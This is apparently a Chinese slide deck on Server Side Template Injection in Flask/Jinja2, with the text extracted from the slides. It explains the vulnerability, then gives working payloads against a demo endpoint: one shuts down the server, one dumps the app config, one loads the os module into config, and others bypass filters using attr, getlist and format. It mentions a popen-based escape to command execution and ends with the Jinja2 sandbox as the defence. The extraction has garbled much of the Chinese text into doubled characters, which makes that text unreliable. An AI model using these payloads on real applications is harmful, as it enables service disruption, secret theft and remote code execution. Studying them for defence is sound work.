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 模板注⼊入基本成因 
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WHAT IS SSTI?

‣ Server Side Template Injection (SSTI)  /  服务端模板注⼊入 

‣ ⽤用户的输⼊入作为了了⽣生成模板字符串串的⼀一部分，在模板引擎进⾏行行解析时，实现函数调

⽤用、命令执⾏行行，从⽽而导致信息泄露露、get shell等后果。 

‣ 相⽐比于XSS，由于模板注⼊入是在服务端引擎解析时发⽣生，故加上“Server Side”。 

‣ SSTI的影响范围及危害程度，⼀一定程度上取决于模板引擎的复杂度。
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VULNERABLE DEMO
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VULNERABLE DEMO
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LOOK INTO SOURCE CODE

flask中使⽤用render_template_stirng函数对模板字符串串进⾏行行渲染
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LOOK INTO SOURCE CODE

render_template_string中调⽤用的_render⽅方法中，调⽤用了了jinja中的render⽅方法，并传⼊入了了当前应⽤用的上下⽂文
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CONTEXT

▸Jinja Globals 

▸Flask Template Globals 

▸User Defined Variables

Jinja在模板中，默认可以使⽤用的过滤器器、函数等
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CONTEXT

▸Jinja Globals 

▸Flask Template Globals 

▸User Defined Variables

Flask中，默认的context
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request.environ

Flask的全局变量量request中所包含的变量量
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request.environ

访问http://localhost:5000/ssti_unsafe?exploit={{ request.environ['werkzeug.server.shutdown']()}}
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request.environ

服务器器被关闭了了
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config

访问http://localhost:5000/ssti_unsafe?exploit={{%20config.items()%20}}得到了了所有的配置信息
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访问http://localhost:5000/ssti_unsafe?exploit={{%20config.items()%20}}得到了了所有的配置信息
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config.from_object

config.from_object加载⼀一个模块或类中名字为⼤大写的成员属性和⽅方法
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config.from_object

查看OS模块中⼤大写的成员变量量
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config.from_object

执⾏行行了了http://localhost:5000/ssti_unsafe?exploit={{ config.from_object('os') }}后再查看config.items()



 利利⽤用Python沙箱逃逸的思路路 
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换个姿势继续

▸ Jinja2模板可以调⽤用Python 中的内置变量量并且可以调⽤用对应变量量类型下的⽅方法，由此可以利利⽤用
Python逃逸沙箱的思路路来进⾏行行攻击。 

▸ 例例：在 [].__class__.__base__.__subclasses__()中寻找可利利⽤用的内置函数。 

▸ PAYLOAD:
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CODE EXECUTION

实现了了远程命令执⾏行行，利利⽤用popen⽅方法，读取了了hosts⽂文件的内容



 利利⽤用Jinja的全局filters绕过防御 
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过滤下划线’_’

▸ 防御：过滤下划线，导致⽆无法使⽤用__class__、__mro__等。 

▸ 绕过：使⽤用attr和join 

{{ [] | attr([ request.args.usc*2, request.args.class, request.args.usc*2 ] | 
join) }}&class=class&usc=_ 

{{ [] | attr(__class__) }} 

{{ [].__class__ }}
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过滤中括号[]

▸ 防御：过滤中括号，导致⽆无法使使⽤用[]取属性和⽆无法使⽤用list 

▸ 绕过：使⽤用getlist 

{{ [] | attr(request.args.getlist(request.args.l) | join) }}
&l=a&a=_&a=_&a=class&a=_&a=_ 

{{ [].__class__ }}
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过滤中括号join

▸ 防御：过滤了了join，前两种绕过⽅方式失效 

▸ 绕过：使⽤用format 

{{ [] | attr(request.args.f |
format(request.args.a,request.args.a,request.args.a,request.args.a)) }}

&f=%s%sclass%s%s&a=_ 

{{ [].__class__ }}
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LIST OF BUILTIN FILTERS

▸ replace() 

▸ reverse() 

▸ sum() 

▸ truncate() 

▸ upper() 

▸ lower() 

▸ …



 使⽤用Jinja2的沙盒 
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使⽤JINJA2的沙盒进⾏防御

▸ 使⽤用jinja2的沙盒来避免利利⽤用Python任何执⾏行行代码，在jinja2沙盒中，任何未注册的变量量访问都
会抛出错误。
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